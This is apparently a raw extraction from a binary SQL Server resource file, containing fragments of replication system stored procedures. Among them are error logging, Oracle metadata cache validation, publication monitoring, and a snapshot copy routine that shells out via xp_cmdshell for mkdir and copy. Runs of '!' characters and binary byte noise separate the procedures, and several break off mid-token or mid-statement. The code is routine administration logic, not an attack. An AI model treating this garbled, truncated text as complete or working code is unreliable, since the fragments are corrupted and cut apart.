	--adding constraints without name, switch to single cmd mode
	--now that we can query catelog view for constraints name, update the parser resultset so later join on name will work
	if exists( select * from #tran_altertable ta 
			where (ta.EnumType & (@subtype_addun | @subtype_addfk |@subtype_addchk) > 0)
					and len(isnull(ta.ColumnName, '') )= 0)
	begin
		set @break_add_into_singles = 1
		exec @retcode = sys.sp_MSfixup_constraints_name @subtype_addun = @subtype_addun
																									,@subtype_addfk = @subtype_addfk
																									,@subtype_addchk = @subtype_addchk
																									,@objid = @objid
																									,@debug_print = @debug_print
		if @retcode <>0 or @@ERROR<>0
				goto FAILURE
		--don't goto SETSINGLE yet, may need to fill blanks into default + check on identity stuff
	end

	--adding default without name, switch to single cmd mode
	--now that we can query catelog view for constraints name, update the parser resultset so later join on name will work
	if exists( select * from #tran_altertable ta 
			where ta.EnumType  = @subtype_adddf
					and (len(isnull(ta.ColumnName, '') )= 0 or 
							ColumnName collate database_default in 
							(select name from sys.columns where object_id = @objid)))
	begin
		set @break_add_into_singles = 1
		exec @retcode = sys.sp_MSfixup_defaults_name @subtype_adddf = @subtype_adddf
																									,@subtype_addcolumn = @subtype_addcolumn
																									,@objid = @objid
																									,@debug_print = @debug_print
		if @retcode <>0 or @@ERROR<>0
				goto FAILURE
		--don't goto SETSINGLE yet, still need to check on identity stuff
	end

	--build a temp table with all base columns for constraints/computed columns added in this DDL
	create table #basecol_cnst (indexcol int identity
												,type int
												,constraint_name		sysname collate database_default
												,constraint_column_name sysname collate database_default
												,constraint_column_id int)
	if @@ERROR <> 0
	begin
		goto FAILURE
	end		
	exec @retcode = sys.sp_MSfixup_base_columns @subtype_addcolumn = @subtype_addcolumn
																						,@subtype_adddf = @subtype_adddf
																					    ,@objid = @objid
																					    ,@break_add_into_singles = @break_add_into_singles output
																						,@subtype = @subtype
																						,@subscription_active = @subscription_active
																					    ,@debug_print = @debug_print
	if @retcode <>0 or @@ERROR<>0
			goto FAILURE

	--if the identity column was not added as NFR, set it now
	--only do this if at least one article is marked to use 'manual' or 'auto'
	if (@addidentitycol is not NULL	and @identityNFR = 0) 
			and
			exists (SELECT * FROM dbo.sysarticles 
							WHERE objid = @objid	
							and sys.fn_replgetbinary8lodword(schema_option) & 0x4 =0x4)
	begin
		EXEC %%ColumnEx(ObjectID = @objid, Name =@addidentitycol ).SetIdentityNotForRepl(Value = 1)
		IF @@ERROR <> 0
			goto FAILURE
		set @break_add_into_singles = 1
	end

	-- when p2p conflict detection is on, break into single cmd mode 
	-- this way logic to alter conflict table is simpler
	if exists(select * from syspublications sp join sysarticles sar on sp.pubid = sar.pubid
						where sp.options & @p2p_cd_option = @p2p_cd_option
								and sar.objid = @objid)
	begin
		-- generate the conflict table name
		exec @retcode = sp_MSgetpeerconflictname @prefix = N'conflict', @tabid = @objid, @peerconflictname = @qual_p2p_conflict_table output
		IF @@ERROR <> 0 or @retcode <> 0
			goto FAILURE

		select @qual_p2p_conflict_table = N'[dbo].' + QUOTENAME(@qual_p2p_conflict_table) 
		
		set @break_add_into_singles = 1
	end

	if (@break_add_into_singles = 1)
		goto SETSINGLE
	
	-- adding fk, switch to single cmd mode in case of three part referenced table name
	-- otherwise we'd minimumly need to check for cascade del/upd without NFR clause
	--
	-- adding unique constraint with  'index option', need to switch to single command mode and strip off 'index option'
	--
	-- check theseafter sys.sp_MSfixup_*_name though otherwise empty names aren't get udpated!
	--
	if ((@subtype & @subtype_addfk) > 0
		or exists(select * from #tran_altertable where ColumnAttr = N'INDEX OPTIONS'))
	or
	--max, xml or timestamp column
	--katmai date\time types
	exists (select * from sys.columns col join sys.types typ on typ.user_type_id = col.system_type_id 
			join #tran_altertable ta on col.name = ta.ColumnName
			where col.object_id = @objid and (ta.EnumType & (@subtype_addcolumn | @subtype_altercolumn) > 0) and 
					(typ.name in (N'varchar', N'nvarchar', N'varbinary') and col.max_length = -1
					or typ.name in (N'xml', N'bigint', N'sql_variant')
					or typ.name in (N'date', N'time', N'datetime2', N'datetimeoffset')))
	--udt
	or 
	exists (select * from sys.columns col join sys.types typ on typ.user_type_id = col.user_type_id 
			join #tran_altertable ta on col.name = ta.ColumnName
			where col.object_id = @objid 
					and (ta.EnumType & (@subtype_addcolumn | @subtype_altercolumn) > 0) 
					and (typ.system_type_id = 240 or (col.user_type_id != col.system_type_id)))	

	--sparse columns
	or
	exists (select * from sys.columns col 
			join #tran_altertable ta on col.name = ta.ColumnName
			where col.object_id = @objid
					and col.is_sparse = 1
					and ta.DDLsubtype <> N'ENABLESPARSE') 
	begin
		set @break_add_into_singles = 1
		goto SETSINGLE
	end

SETSINGLE:

	if(@break_add_into_singles = 1) 
	begin 
		exec @retcode = sys.sp_MSfixup_single_ddls @objid = @objid
																						,@subtype_addcolumn = @subtype_addcolumn
																						,@subtype_addun = @subtype_addun
																						,@subtype_addchk = @subtype_addchk
																						,@subtype_adddf = @subtype_adddf
																						,@subtype_addfk = @subtype_addfk
																						,@debug_print = @debug_print
		if @retcode <>0 or @@ERROR<>0
				goto FAILURE
	end

	--if DDL contains the following actions, break into single command so we can add 'if exists' check
	--reason being we don't know for sure if these constrains/triggers live on subscriber or not
	--note enable/disabletriggerall and enable/disableconstraintall should go to the default path, not here

	--do this for drop/alter column as well since replicate_ddl does not apply to these DDL and user may have customerized their subscriber to not have these columns
	if 	(@subtype & (@subtype_dropconstraint | @subtype_enabletrigger | 
								@subtype_dropcolumn | @subtype_altercolumn |
										@subtype_disabletrigger | @subtype_enableconstraint | @subtype_disableconstraint) > 0)
			set @break_drop_into_singles = 1				
	else
			set @break_drop_into_singles = 0

	select @dropped_column_counts = count(*) from #tran_altertable where EnumType = @subtype_dropcolumn
	
--now let's start the alter logic

	create table #tran_columnstable (colname sysname collate database_default, colid int)
	if @@ERROR <> 0
	begin
		goto FAILURE
	end			

	--create a copy of sysarticlecolumns to hold colid for a given article id, so we can fake 
	--a row for timestamp column if necessary
	--this will make it easier and more accurate to join and find out if all bases are in partition
	create table #artcols (artid int, col!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`X	P	<u#Um04 D8h+"0ޛ@ 8CREATE PROCEDURE sys.sp_MSadd_repl_error 
(
    @id                 int,
    @error_type_id      int,
    @source_type_id     int,
    @source_name        sysname,
    @error_code         sysname,
    @error_text         nvarchar(max),
    @session_id			int = NULL,
    @add_event_log    	int = 0,
    @event_log_context 	nvarchar(max) = NULL,
    @map_source_type	bit = 0
)
AS
begin
    declare @retcode int
	declare @xact_seqno varbinary(16)
	declare @command_id int
	declare @binctx binary(128)
	declare @event_log_text nvarchar(4000)

	-- these values can be found in SQLREPL.h
	declare @REPL_SOURCE_NULL 		int,
			@REPL_SOURCE_COMMAND 	int,
			@REPL_SOURCE_AGENT 		int,
			@REPL_SOURCE_OS 		int,
			@REPL_SOURCE_ODBC 		int,
			@REPL_SOURCE_SQLSERVER 	int,
			@REPL_SOURCE_NETLIB 	int,
			@REPL_SOURCE_SQLDMO 	int,
			@REPL_MERGE_PROVIDER 	int,
			@REPL_MERGE_PROCESS 	int,
			@REPL_SOURCE_TRANSPORT	int,
			@REPL_SOURCE_SQLCE 		int,
			@REPL_SOURCE_OCI 		int,
			@REPL_SOURCE_OLEDB 		int,
			@REPL_SOURCE_SMO 		int,
			@REPL_SOURCE_RMO 		int,
			@REPL_SOURCE_ORACLE	int,
			@REPL_SOURCE_DB2	int

	select @REPL_SOURCE_NULL		= 0,
			@REPL_SOURCE_COMMAND	= 1,
			@REPL_SOURCE_AGENT		= 2,
			@REPL_SOURCE_OS			= 3,
			@REPL_SOURCE_ODBC		= 4,
			@REPL_SOURCE_SQLSERVER	= 5,
			@REPL_SOURCE_NETLIB		= 6,
			@REPL_SOURCE_SQLDMO		= 7,
			@REPL_MERGE_PROVIDER	= 8,
			@REPL_MERGE_PROCESS		= 9,
			@REPL_SOURCE_TRANSPORT	= 10,
			@REPL_SOURCE_SQLCE      = 11,
			@REPL_SOURCE_OCI 		= 12,
			@REPL_SOURCE_OLEDB		= 13,
			@REPL_SOURCE_SMO		= 14,			
			@REPL_SOURCE_RMO		= 15,			
			@REPL_SOURCE_ORACLE		= 16,			
			@REPL_SOURCE_DB2		= 17

    -- Security Check
    -- require the login to be in cache regardless of the publication id and agent_id.
    -- This means that once a agent get into the distribution db, it
    -- can add any error.   
    exec @retcode = sys.sp_MScheck_pull_access
    if @@error <> 0 or @retcode <> 0
        return (1)
        
    if object_id('MSrepl_errors') is NULL
		return 0

	if @map_source_type = 1
	begin
		-- Here we will override the source_name if we know we sould.
		-- The only case we shouldn't is when the user input for source
		-- type id is set to NULL or REPL_SOURCE_VALID. We force the 
		-- change of source name to allow the UI to construct help links.
		select @source_type_id = ISNULL(@source_type_id, @REPL_SOURCE_NULL)
		
	    if @source_type_id in (@REPL_SOURCE_AGENT,
	    						@REPL_SOURCE_OS, 
	    						@REPL_MERGE_PROVIDER, 
	    						@REPL_MERGE_PROCESS,
	    						@REPL_SOURCE_TRANSPORT)
	    begin
			select @source_name = N'MSSQL_REPL'
	    end
	    else if @source_type_id  in ( @REPL_SOURCE_ORACLE,
	    						@REPL_SOURCE_OCI)
	    begin
			select @source_name = N'MSSQL_REPL_ORACLE'
	    end
	    else if @source_type_id  = @REPL_SOURCE_DB2
	    begin
			select @source_name = N'MSSQL_REPL_DB2'
	    end
	    else
	    begin
			select @source_name = N'MSSQL_ENG'
	    end
    end
    
    select @xact_seqno = xact_seqno, @command_id = command_id from dbo.MSrepl_errors where
		id = @id and xact_seqno is not null

	if @session_id is null
	begin
		select @binctx = isnull(context_info(),0x00)
		set @session_id = cast( @binctx AS int )
	end

	-- Insert into the Event log
--       if (@add_event_log = 1) and (is_member('db_owner') = 1)
--       begin
--       	if @event_log_context is not null
--       		select @event_log_text = @event_log_context + @error_text
--    	else
--       		select @event_log_text = @error_text
--		select @event_log_text = @source_name + ' -(' + @error_code + ') ' + @event_log_text
--           	exec master.dbo.xp_logevent  70000, @event_log_text, 'ERROR'
--       end
	        
	INSERT INTO dbo.MSrepl_errors (id, time, error_type_id, source_type_id, source_name,
				error_code, error_text, xact_seqno, command_id, session_id)
		VALUES (@id, getdate(), @error_type_id, @source_type_id,
				@source_name, @error_code, @error_text, @xact_seqno, @command_id, @session_id)
    IF @@ERROR <> 0
    BEGIN
       RETURN (1)
    END
    
    -- delete the placeholder row since it is never needed by anyone.
    delete from dbo.MSrepl_errors where id = @id and error_type_id is null
    
    return (0)
end
0 @ 8--
-- Name: sp_hadr_verify_configured_for_repl
--
-- Descriptions: Verify that the publisher is configured to 
--               support replication. 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 on success; 1 on failure; raise error on failure.
--          On failure, temporary linked server is dropped.
--
-- Security: Internal stored procedure.
--
create procedure sys.sp_hadr_verify_configured_for_repl
(
    @publisher sysname,
    @dbname sysname,
    @publisher_linked_server sysname,
	@drop_linked_server bit = 1
)
as
begin

    set nocount on
    set ANSI_WARNINGS on

    declare @cmd nvarchar(1000),
        @query nvarchar(100),
        @retcode int,
        @isinstalled int
        
    set @retcode = 0    
        
	begin try
        set @cmd = quotename(RTRIM(@publisher_linked_server)) + '.master.sys.sp_executesql'
        set @query = 'exec @p1=master.sys.sp_MS_replication_installed'
			
        exec @retcode = @cmd @query, N'@p1 int output', @isinstalled output
        
        if (@retcode <> 0) or (@isinstalled <> 1) 
        begin
            raiserror(21888, 16, -1, @publisher)
        end
	end try
	
	begin catch
        if @drop_linked_server = 1
		begin
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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`n<A
%0@ ]
8
--
-- Name:
--		sp_validatecache
--
-- Description:
--		Validate the distributor side Oracle meta data (Oracle specific)
--
-- Inputs:
--		@publisher		== name of Oracle publisher
--		@publication		== publication name (default '%')
--		@article		== table name (defulat '%') 
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
--		Result set
--
--		column				description
--
--		publication			publication name
--		article				article name
--		column				column name
--		index_or_constraint index or constraint name
--		columnordinal		column ordinal
--		type				column, index, or constraint type
--		length				length
--		prec				precision
--		scale				scale
--		isnullable			is nullable
--      validate            primary key validated
--      consstatus          constraint status
--      idxstatus           index status 
--		description			'Column dropped'
--							'Column added'
--							'Column changed from'
--							'Column changed to'
--							'Index dropped'
--							'Index added'
--							'Index changed from'
--							'Index changed to'
--							'Constraint dropped'
--							'Constraint added'
--							'Constraint changed from'
--							'Constraint changed to'
--							'Index column dropped'
--							'Index column added'
--							'Constraint column dropped'
--							'Constraint column added'
--
-- Security:
--		public -- caller must be sysadmin
--
-- Notes:
--		This stored procedure is provided so that the administrator of Oracle
--		publishing can determine whether the current meta data for published
--		Oracle tables that is cached at the distributor, is still valid.  It is
--		intended to assist in diagnosing problems resulting from a meta data
--		mismatch between the Oracle database and the distributor meta data cache.
--
--		If the @publication parameter is not specified, all publications for the
--		Oracle publisher are examined.  If the @article parameter is not specified,
--		all articles for the given publication are examined.  If @article is non NULL,
--		and @publication is NULL, articles of the specified name from all publications
--		are examined.
--
--		If an empty rowset is returned, the distributor meta data is valid.
--		If a non-empty rowset is returned, the distributor meta data has been invalidated
--		by meta data changes at the Oracle publisher.  

CREATE PROCEDURE sys.sp_validatecache
(
	@publisher		sysname,
	@publication	sysname = '%',
	@article		sysname = '%'
)
AS
BEGIN
	SET NOCOUNT ON

	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	-- Security Check: requires sysadmin, done in sp_MSrepl_getpublisherinfo

	SET @retcode = 0

	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher      = @publisher,
													@rpcheader      = @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT,
													@hreplOnly      = 1							
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Error if the publisher is not an Oracle publisher
	IF @publisher_type NOT LIKE 'ORACLE%'
	BEGIN
		RAISERROR (21687, 16, -1, @publisher, @publisher_type)
    	RETURN (1)
	END

	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_validatecache'
	
	EXEC @retcode = @cmd	@publisher,
		@publication,
		@article
	RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<o!0 8   
CREATE  PROCEDURE sys.sp_MShelp_publication (
@publisher sysname,
@publisher_db sysname = '%',
@publication sysname = '%')
as
BEGIN
    set nocount on
    declare	@queued_agent sysname
    declare @retcode int
    declare @pubid int

    SELECT @retcode = 0

    /*
    ** Create a temp table of pubids identifying publications that the current user has access to
    */
    CREATE TABLE #accessiblepubs (pubid int)

    DECLARE hC  CURSOR LOCAL FAST_FORWARD FOR 
        SELECT publication_id FROM MSpublications WHERE ((@publication = N'%') or (publication = @publication))
    OPEN hC
    FETCH hC INTO @pubid
    WHILE (@@fetch_status <> -1)
    BEGIN
        IF is_member(N'db_owner') <> 1 AND isnull(is_member(N'replmonitor'),0) <> 1
        BEGIN
            exec @retcode = sys.sp_MScheck_pull_access
                @publication_id = @pubid,
                @raise_fatal_error = 0
	END			
        IF (is_member(N'db_owner') = 1) OR
           (isnull(is_member(N'replmonitor'),0) = 1) OR
           (@retcode = 0 AND @@error = 0)
           INSERT INTO #accessiblepubs values(@pubid)

        FETCH hC INTO @pubid
    END
    CLOSE hC
    DEALLOCATE hC

    if @publisher_db != '%' and @publication != '%' and not exists (select * from MSpublications where
        publisher_id = (select srvid from master.dbo.sysservers where UPPER(srvname collate database_default) = UPPER(@publisher)) and
        ((@publisher_db = N'%') or (publisher_db = @publisher_db)) and
        publication = @publication)
    begin
        raiserror(20026, 16, -1, @publication)
        return(1)
    end

	select @queued_agent = name from MSqreader_agents 

	-- need to add new columns:
	-- num_subscriptions, num_now_syncing, num_errors, num_warning
	-- highest_perf_threshold, lowest_perf_threshold, 	
	--
	    declare @currentdate datetime
	    set @currentdate=getdate()

	declare @dymanic_info table(
		publication_id int primary key,
		num_subscriptions int,
		num_now_syncing int,
		num_errors int,
		num_warning int,
		merge_RunFastDurationThreshold int,
		merge_SyncExpireTimeThreshold int,
		WorstWarningDuration int,
		WorstWarningExpiration int
		);

		-- first we select all the values returned from the functions calls
		-- because other wise they will be called for every row maching the main query.
		insert into @dymanic_info 
		select p.publication_id,
		sys.fn_replgetNumMergesubscriptionsOnPublication(p.publisher_id, p.publisher_db, p.publication, p.publication_id) as num_subscriptions,
        sys.fn_replgetNumMergesubscriptionsNowSyncingOnPublication(p.publisher_id, p.publisher_db, p.publication, p.publication_id) as num_now_syncing,
        sys.fn_replgetNumOfErrorsMergesubscriptionsOnPublication(p.publisher_id, p.publisher_db, p.publication, p.publication_id) as num_errors,
        sys.fn_replgetNumOfWarningsMergesubscriptionsOnPublication(
        	p.publisher_id, 
        	p.publisher_db, 
        	p.publication, 
        	p.publication_id, 
        	p.retention,
            convert(int, sys.fn_replgetpublicationthreshold(p.publication_id, 4)),
        	convert(int, sys.fn_replgetpublicationthreshold(p.publication_id, 5)),
        	@currentdate
        ) as num_warning,
        convert(int, sys.fn_replgetpublicationthreshold(p.publication_id, 5))  as merge_RunFastDurationThreshold,
         sys.fn_replgetWorstWarningDurationMergesubscriptionsOnPublication(
        	p.publisher_id, 
        	p.publisher_db, 
        	p.publication, 
        	p.publication_id) as WorstWarningDuration,
        convert(int, sys.fn_replgetpublicationthreshold(p.publication_id, 4)) as merge_SyncExpireTimeThreshold,       
        sys.fn_replgetWorstWarningExpirationMergesubscriptionsOnPublication(
        	p.publisher_id, 
        	p.publisher_db, 
        	p.publication, 
        	p.publication_id, 
        	@currentdate) as WorstWarningExpiration    	
			from MSpublications p	
		where 
        p.publisher_id = (select srvid from master.dbo.sysservers where UPPER(srvname collate database_default) = UPPER(@publisher)) 
		and ((@publisher_db = N'%') or (p.publisher_db = @publisher_db)) and   ((@publication = N'%') or (p.publication = @publication))

	


       select p.publisher_db as publisher_db, p.publication as publication, p.publication_id as publication_id, 
       p.publication_type as publication_type, 
        --thirdparty_flag, 
        independent_agent as independent_agent,
        immediate_sync as immediate_sync, allow_push as allow_push, 
        allow_pull as allow_pull, allow_anonymous as allow_anonymous, 'snapshot_agent' = s.name,
        'logreader_agent' = l.name, p.description as description, vendor_name as vendor_name
        -- queue reader agent only if we have valid queued subscription
        ,'queuereader agent' = case 
        	when (exists (select * from MSsubscriptions sub where sub.publisher_id = p.publisher_id and
						sub.publisher_db = p.publisher_db and sub.publication_id = p.publication_id and
						(sub.update_mode in (2,3,4,5,6,7)))) 
			then @queued_agent else NULL end
		,'thirdparty_options' = thirdparty_options
		,'snapshot_jobid' = j.job_id
        -- dynamic columns for repl monitor
        ,d.num_subscriptions as num_subscriptions
        ,d.num_now_syncing as num_now_syncing
        ,d.num_errors as num_errors
        ,d.num_warning as num_warning
        ,d.merge_RunFastDurationThreshold  as merge_RunFastDurationThreshold
        ,d.WorstWarningDuration as WorstWarningDuration
        ,d.merge_SyncExpireTimeThreshold as merge_SyncExpireTimeThreshold
        ,p.retention as retention
        ,d.WorstWarningExpiration as WorstWarningExpiration        
        from #accessiblepubs a
		JOIN @dymanic_info d
		ON
		d.publication_id = a.pubid 

        LEFT OUTER JOIN MSpublications p
        ON
        p.publication_id = a.pubid 
        LEFT OUTER JOIN MSsnapshot_agents s
        ON
        s.publisher_id = p.publisher_id and
        s.publisher_db = p.publisher_db and
        s.publication = p.publication
        LEFT OUTER JOIN MSlogreader_agents l
        ON
        (l.publisher_id = p.publisher_id and
        l.publisher_db = p.publisher_db and
        p.publication_type = 0 and              -- Only Transactional Publication has a  Log Reader
        (l.publication = p.publication OR
         thirdparty_flag = 0))
		LEFT OUTER JOIN msdb.dbo.sysjobs_view j
		ON
		s.job_id = j.job_id
      where 
        p.publisher_id = (select srvid from master.dbo.sysservers where UPPER(srvname collate database_default) = UPPER(@publisher)) and
        ((@publisher_db = N'%') or (p.publisher_db = @publisher_db)) and
       ((@publication = N'%') or (p.publication = @publication))
        order by p.publication
        
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!`n<|JH0e @8
--
-- Name: sp_MSsubscription_enabled_for_syncmgr
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSsubscription_enabled_for_syncmgr
(
    @publisher         sysname = NULL, 
    @publisher_db     sysname = NULL, 
    @publication     sysname = NULL, 
    @subscriber     sysname = NULL,
    @subscriber_db     sysname = NULL,
    @enabled        int = NULL OUTPUT,
    @regkey            nvarchar(1000) = NULL OUTPUT
)
AS
BEGIN
    -- Drop the corresponding registry entry for MobileSync
    declare @keyexist            int
    
    -- no reg key to clean up for virtual subscribers
    if @subscriber is null
    begin
        select @enabled = 0
        return 0
    end
    
    SET @regkey = sys.fn_replgetsubscriptionregkey(@publisher, @publisher_db, @publication, @subscriber, @subscriber_db)
    
    BEGIN
        CREATE TABLE #keyexist (keyexist int)

        INSERT INTO #keyexist
        EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', @regkey

        SELECT    @enabled = keyexist
        FROM    #keyexist

        DROP TABLE #keyexist
    END

    return 0        
END
0t !8--
-- Name: sp_MScopysnapshot
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MScopysnapshot (
    @source_folder           nvarchar(255),
    @destination_folder      nvarchar(255)
    )
AS
BEGIN
    SET NOCOUNT ON
    DECLARE @directory_exists bit    
    DECLARE @ftporuncdir      nvarchar(5)
    DECLARE @pubdir           nvarchar(255)
    DECLARE @timestampdir     nvarchar(255)
    DECLARE @bslashindex      int
    DECLARE @bslashindex2     int
    DECLARE @bslashcounter    int
    DECLARE @command          nvarchar(1000)
    DECLARE @retcode          int
    DECLARE @platform_nt      bit

    IF platform() & 0x1 = 0x1
        SELECT @platform_nt = 1
    ELSE
        SELECT @platform_nt = 0

    -- If @source_folder is NULL then either the snapshot has not been 
    -- generated or it has been cleaned up
    IF @source_folder IS NULL OR @source_folder = N''
    BEGIN
        RAISERROR(21289, 16, -1)
        RETURN (1)
    END

    -- Make sure that the @destination folder is not null
    IF @destination_folder IS NULL OR
       @destination_folder = N''
    BEGIN
        RAISERROR(21287, 16, -1)      
        RETURN (1)
    END

    -- Append backslash to @destination_folder if it is not 
    -- there already
    IF SUBSTRING(@destination_folder, LEN(@destination_folder), 1) <> N'\'
    BEGIN
        SELECT @destination_folder = @destination_folder + N'\'
    END

    -- Check if the destination folder exists 
    EXEC sys.sp_MSget_file_existence @destination_folder, @directory_exists OUTPUT
    IF @directory_exists = 0
    BEGIN
        RAISERROR(21287, 16, -1)      
        RETURN (1)
    END    
    
    -- Parse out the last three components in the source folder 
    -- Note that the source_folder must have a trailing backslash
    SELECT @bslashindex = 1
    SELECT @bslashindex2 = 1
    SELECT @bslashcounter = 0
    WHILE (@bslashindex <> 0)
    BEGIN
        SELECT @bslashindex = CHARINDEX(N'\', @source_folder, @bslashindex + 1)
        SELECT @bslashcounter = @bslashcounter + 1
        IF @bslashcounter > 4
        BEGIN
            SELECT @bslashindex2 = CHARINDEX(N'\', @source_folder, @bslashindex2 + 1)
        END    
    END  

    SELECT @bslashindex = CHARINDEX(N'\', @source_folder, @bslashindex2 + 1)
    SELECT @ftporuncdir = SUBSTRING(@source_folder, @bslashindex2 + 1, @bslashindex - @bslashindex2 - 1)
    SELECT @bslashindex2 = @bslashindex

    SELECT @bslashindex = CHARINDEX(N'\', @source_folder, @bslashindex2 + 1)
    SELECT @pubdir = SUBSTRING(@source_folder, @bslashindex2 + 1, @bslashindex - @bslashindex2 - 1) 
    SELECT @bslashindex2 = @bslashindex

    SELECT @bslashindex = CHARINDEX(N'\', @source_folder, @bslashindex2 + 1)
    SELECT @timestampdir = SUBSTRING(@source_folder, @bslashindex2 + 1, @bslashindex - @bslashindex2 - 1) 
    SELECT @bslashindex2 = @bslashindex
        
    -- Create the subdirectory structure underneath the specified snapshot
    -- folder. Ignore errors for now, we will check whether the directory 
    -- is successfully created later on.

    -- Don't suppress output from xp_cmdshell so user knows what's going on
    -- in case something goes wrong 
    SELECT @destination_folder = @destination_folder + @ftporuncdir + '\'
    SELECT @command = 'mkdir "' + sys.fn_escapecmdshellsymbolsremovequotes(@destination_folder) collate database_default + '"'
    IF (@platform_nt = 1)
        SELECT @command = '" ' + @command + ' "'
    EXEC master.dbo.xp_cmdshell @command
    
    SELECT @destination_folder = @destination_folder + @pubdir + '\'
    SELECT @command = 'mkdir "' + sys.fn_escapecmdshellsymbolsremovequotes(@destination_folder) collate database_default + '"'
    IF (@platform_nt = 1)
        SELECT @command = '" ' + @command + ' "'
    EXEC master.dbo.xp_cmdshell @command

    SELECT @destination_folder = @destination_folder + @timestampdir + '\'
    SELECT @command = 'mkdir "' + sys.fn_escapecmdshellsymbolsremovequotes(@destination_folder) collate database_default + '"'
    IF (@platform_nt = 1)
        SELECT @command = '" ' + @command + ' "'
    EXEC master.dbo.xp_cmdshell @command

    -- Check if the real destination folder exists
    EXEC sys.sp_MSget_file_existence @destination_folder, @directory_exists OUTPUT
    IF @directory_exists = 0
    BEGIN
        RAISERROR(21288, 16, -1)
        RETURN (1)
    END

    -- Do the actual copying
    SELECT @command = 'copy "' + sys.fn_escapecmdshellsymbolsremovequotes(@source_folder) collate database_default + '*.*" "' + sys.fn_escapecmdshellsymbolsremovequotes(@destination_folder) collate database_default + '"'    
    IF (@platform_nt = 1)
        SELECT @command = '" ' + @command + ' "'
    
    EXEC @retcode = master.dbo.xp_cmdshell @command
    
    IF @retcode <> 0
        RETURN (1)
    ELSE
        RETURN (0)
END
0
s 8create function sys.fn_replgetNumMergesubscriptionsNowSyncingOnPublication (
    @publisher_id smallint, 
    @publisher_db sysname,
    @publication sysname,
    @publication_id int
)
returns int
as
begin
    declare @NumMergesubscriptions int
    set @NumMergesubscriptions=0

    select @NumMergesubscriptions=count(*) 
	    from dbo.MSmerge_subscriptions subs with (nolock)
	    ,dbo.MSmerge_agents agents with (nolock)
	    ,dbo.MSmerge_sessions msmh with (nolock)
	    where subs.publication_id=@publication_id
	    and subs.publisher_db=@publisher_db
	    and subs.publisher_id=@publisher_id
	    and subs.subscriber_id=agents.subscriber_id
	    and subs.subscriber_db=agents.subscriber_db
	    and agents.publisher_id=@publisher_id
	    and agents.publisher_db=@publisher_db 
	    and agents.publication=@publication
	    and agents.id=msmh.agent_id
	    and msmh.timestamp = (select max(timestamp) from dbo.MSmerge_sessions msmh2 with (nolock)
									where msmh2.agent_id = agents.id)
	    and msmh.runstatus in (1, 3, 4, 5)
	    -- REPL_STATUS:
	    -- REPL_STATUS_START, REPL_STATUS_INPROGRESS, REPL_STATUS_IDLE, REPL_STATUS_RETRY

    return @NumMergesubscriptions
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
E34䀖0s D85h 0s 
8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_procedure_params_rowset;2
(
    @procedure_schema   sysname = null,
    @parameter_name     sysname = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        PROCEDURE_CATALOG           = s_pp.PROCEDURE_CATALOG,
        PROCEDURE_SCHEMA            = s_pp.PROCEDURE_SCHEMA,
        PROCEDURE_NAME              = convert(nvarchar(134),
